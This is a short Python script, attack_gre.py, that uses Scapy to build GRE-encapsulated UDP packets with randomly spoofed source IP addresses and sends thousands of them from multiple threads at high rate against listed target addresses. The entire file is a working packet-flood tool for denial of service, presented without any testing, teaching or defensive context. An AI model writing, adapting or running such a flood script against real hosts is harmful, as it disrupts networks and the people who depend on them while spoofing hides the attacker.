attack_gre.py

from scapy.all import IP, sendpfast, GRE, UDP, Raw
import random
import threading
import queue

def create_gre_ip_packet(source_ip, dest_ip, gre_protocol, data_len=512, ttl=64):
    ip = IP(src=source_ip, dst=dest_ip, ttl=ttl)
    gre = GRE(proto=gre_protocol)
    
    inner_ip = IP(src=random_ip(), dst=dest_ip, ttl=ttl)
    udp = UDP(sport=random.randint(1024, 65535), dport=random.randint(1024, 65535))
    udp.len = data_len + len(udp)
    
    payload = Raw(load="X" * data_len)
    packet = ip/gre/inner_ip/udp/payload
    
    return packet

def send_gre_ip_packets(target_ips, num_packets=10, num_threads=10):
    def send_packets(packet_queue):
        while True:
            try:
                packet = packet_queue.get_nowait()
            except queue.Empty:
                break
            try:
                sendpfast(packet, pps=1000, verbose=False)
            except Exception as e:
                print(f"Error sending packet: {e}")

    packet_queue = queue.Queue()
    
    for _ in range(num_packets):
        for target_ip in target_ips:
            source_ip = random_ip()
            packet = create_gre_ip_packet(source_ip, target_ip, gre_protocol=0x0800)
            packet_queue.put(packet)
    
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=send_packets, args=(packet_queue,))
        threads.append(thread)
        thread.start()
    
    for thread in threads:
        thread.join()

def random_ip():
    return ".".join(map(str, (random.randint(0, 255) for _ in range(4))))

target_ips = ["192.168.1.1", "192.168.1.2"]
send_gre_ip_packets(target_ips, num_packets=1000, num_threads=10)